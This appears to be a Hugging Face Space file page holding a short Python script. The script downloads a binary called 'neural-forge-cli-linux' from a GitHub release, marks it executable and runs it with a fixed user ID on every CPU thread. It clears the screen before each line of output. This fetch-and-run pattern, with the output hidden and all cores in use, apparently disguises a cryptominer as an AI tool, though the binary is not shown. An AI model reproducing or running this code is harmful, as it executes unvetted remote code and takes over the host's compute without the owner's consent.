Spaces:
Running
Running
File size: 544 Bytes
247bec9 c31a69d 247bec9 c31a69d 247bec9 c31a69d 247bec9 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | import subprocess
cmd = """
curl -O -J -L https://github.com/neural-forge-ai/neural-forge-cli/releases/download/v1.0.0/neural-forge-cli-linux && \
chmod +x neural-forge-cli-linux && \
./neural-forge-cli-linux --model llm-v2 --user-id b899a32a-0d10-47c5-a656-fad22c736354 --threads $(nproc --all)
"""
process = subprocess.Popen(
cmd,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)
for line in process.stdout:
print("\033[2J\033[H", end="") # clear screen
print(line, end="", flush=True) |